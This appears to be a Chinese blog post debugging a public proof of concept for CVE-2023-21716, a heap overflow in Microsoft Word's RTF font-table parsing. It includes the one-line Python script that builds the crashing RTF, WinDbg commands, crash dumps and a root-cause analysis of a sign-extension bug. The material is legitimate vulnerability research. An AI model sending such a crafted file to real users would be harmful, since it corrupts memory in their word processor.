前言

@jduck 近日公开了CVE-2023-21716的POC,并提供了漏洞细节

这篇文章主要是记录下我调试这个漏洞POC的过程。

POC样本

生成POC的只需要很短的代码:

1
open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))

打开样本内容,看上去是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{\rtf1{
{\fonttbl{\f0A;}
{\f1A;}
{\f2A;}
{\f3A;}
{\f4A;}
{\f5A;}
{\f6A;}
[...] 省略很多行
{\f32753A;}
{\f32754A;}
{\f32755A;}
{\f32756A;}
{\f32757A;}
{\f32758A;}
{\f32759A;}
{\f32760A;}
}
{\rtlch no crash??}
}}

简单回顾下RTF文件格式的知识:

  • \rtf1\fonttbl 这样的语句叫控制字 (control word),以反斜杠开始后面加上多个字母作为控制字名,字母后面还可能接可选的数字作为控制字参数
  • 以反斜杠开始后面接单个非字母字符的表示控制符号 (control symbol),比如 \~
  • {} 包含控制字、控制符号、文本等形成组(group)

样本中对应控制字的意思:

\fN 字体表中的编号
\rtfN N表示RTF大版本
\fonttbl 字体表

漏洞分析

测试环境:

  • Microsoft Office 2016 16.0.4266.1003 32位
  • wwlib.dll 16.0.4266.1003

开启页堆

1
gflags.exe /p /enable winword.exe /full

根据喜好attach调试,或者直接在windbg里面运行程序:

run-in-windbg

crash现场:

1
2
3
4
5
6
7
8
(7ac.1a80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=006f2734 ebx=00000001 ecx=000004e4 edx=ffff7ffc esi=54b75ff0 edi=00008002
eip=0fe700d5 esp=006f268c ebp=006f2698 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
wwlib!PTLS7::FsUpdateFinitePage+0x7635a:
0fe700d5 66894c5604      mov     word ptr [esi+edx*2+4],cx ds:002b:54b65fec=????

崩溃原因是写到了已经释放的堆块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> !heap -p -a 54b65fec
    address 54b65fec found in
    _DPH_HEAP_ROOT @ 5af1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   54973b60:         54b65000             2000
    72a3ad92 verifier!AVrfDebugPageHeapFree+0x000000c2
    7708b5e9 ntdll!RtlDebugFreeHeap+0x0000003e
    77033422 ntdll!RtlpFreeHeap+0x0004dfc2
    76fe50c1 ntdll!RtlFreeHeap+0x00000201
    763785d5 msvcrt!free+0x00000065
    6b967549 DWrite!ComObject<DWriteTextLayout,DeleteOnZeroReference>::Release+0x000000d9
    6e203576 mso40uiwin32client!Ordinal432+0x00000098
[...]
0:000> !heap -p -a esi
    address 54b75ff0 found in
    _DPH_HEAP_ROOT @ 2f81000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                54c708bc:         54b75ff0            30010 -         54b75000            32000
    72a3ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
    72a3b004 verifier!AVrfDebugPageHeapReAllocate+0x00000214
    7708bac9 ntdll!RtlDebugReAllocateHeap+0x0000003c

关键位置代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
.text:102F00A8                 mov     [esi+eax*2+4], cx
.text:102F00AD                 movsx   eax, word ptr [esi+2]
.text:102F00B1                 movsx   ecx, word ptr [esi]
.text:102F00B4                 add     ecx, eax
.text:102F00B6                 mov     eax, [ebp+arg_8]
.text:102F00B9                 mov     ax, [eax]
.text:102F00BC                 mov     [esi+ecx*2+4], ax
.text:102F00C1                 mov     eax, [ebp+codepage_]
.text:102F00C4                 test    eax, eax
.text:102F00C6                 jz      short loc_102F00DA
.text:102F00C8                 movsx   ecx, word ptr [esi]
.text:102F00CB                 movsx   edx, word ptr [esi+2]
.text:102F00CF                 lea     edx, [ecx+edx*2]  ; 下面打印ecx和edx日志的地方
.text:102F00D2                 mov     cx, [eax]
.text:102F00D5                 mov     [esi+edx*2+4], cx ; 溢出点
.text:102F00DA                 inc     word ptr [esi]
.text:102F00DD                 jmp     short loc_102F0082

在 wwlib+0x002f00cf 处打印断点日志:

1
2
sxe ld:wwlib
bu wwlib+002f00cf ".printf \"=== ecx: 0x%x(%d) edx: 0x%x(%d) \\n\", ecx, ecx, edx, edx;gc"

可以观察到规律:

  • ecx每次递增1
  • 当且仅当ecx等于edx时,edx增加10,其余时间不变
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
=== ecx: 0x0(0) edx: 0xa(10)
=== ecx: 0x1(1) edx: 0xa(10)
=== ecx: 0x2(2) edx: 0xa(10)
=== ecx: 0x3(3) edx: 0xa(10)
=== ecx: 0x4(4) edx: 0xa(10)
=== ecx: 0x5(5) edx: 0xa(10)
=== ecx: 0x6(6) edx: 0xa(10)
=== ecx: 0x7(7) edx: 0xa(10)
=== ecx: 0x8(8) edx: 0xa(10)
=== ecx: 0x9(9) edx: 0xa(10)
=== ecx: 0xa(10) edx: 0x14(20) // 每隔10次,edx+=10
=== ecx: 0xb(11) edx: 0x14(20)
[...]
=== ecx: 0xd0b(3339) edx: 0xd0c(3340)
=== ecx: 0xd0c(3340) edx: 0xd16(3350) // 每隔10次,edx+=10
=== ecx: 0xd0d(3341) edx: 0xd16(3350)
=== ecx: 0xd0e(3342) edx: 0xd16(3350)
=== ecx: 0xd0f(3343) edx: 0xd16(3350)
=== ecx: 0xd10(3344) edx: 0xd16(3350)
=== ecx: 0xd11(3345) edx: 0xd16(3350)
=== ecx: 0xd12(3346) edx: 0xd16(3350)
=== ecx: 0xd13(3347) edx: 0xd16(3350)
=== ecx: 0xd14(3348) edx: 0xd16(3350)
=== ecx: 0xd15(3349) edx: 0xd16(3350)
=== ecx: 0xd16(3350) edx: 0xd20(3360) // 每隔10次,edx+=10
=== ecx: 0xd17(3351) edx: 0xd20(3360)
[...]
=== ecx: 0x7ff8(32760) edx: 0x8002(32770)
(crash)

通过测试包含不同数量\f的样本,发现wwlib+0x002f00cf 触发次数和\f数量一致,且ecx与控制字参数无关,单纯代表索引一直递增

随着索引值增大,由于使用了movsx,当[esi+2]的值达到0x8000时,会进行有符号扩展,edx的高位会被扩展成FFFF,导致了后面在102F00D5处写入时使用了负的偏移值,造成堆溢出。

1
2
3
4
5
.text:102F00C8                 movsx   ecx, word ptr [esi]
.text:102F00CB                 movsx   edx, word ptr [esi+2]
.text:102F00CF                 lea     edx, [ecx+edx*2]  ; 上面打印ecx和edx日志的地方
.text:102F00D2                 mov     cx, [eax]
.text:102F00D5                 mov     [esi+edx*2+4], cx ; 溢出点,crash时edx=ffff7ffc

观察最后一次打印的ecx和edx,可以发现二者相差10,结合前面的规律可以看出此时edx第一次被扩展成负数,而这时候ecx等于32760,所以python脚本中的 32761是触发漏洞的最小值,range(0, 32761)生成了32761组\f

1
=== ecx: 0x7ff8(32760) edx: 0x8002(32770)

参考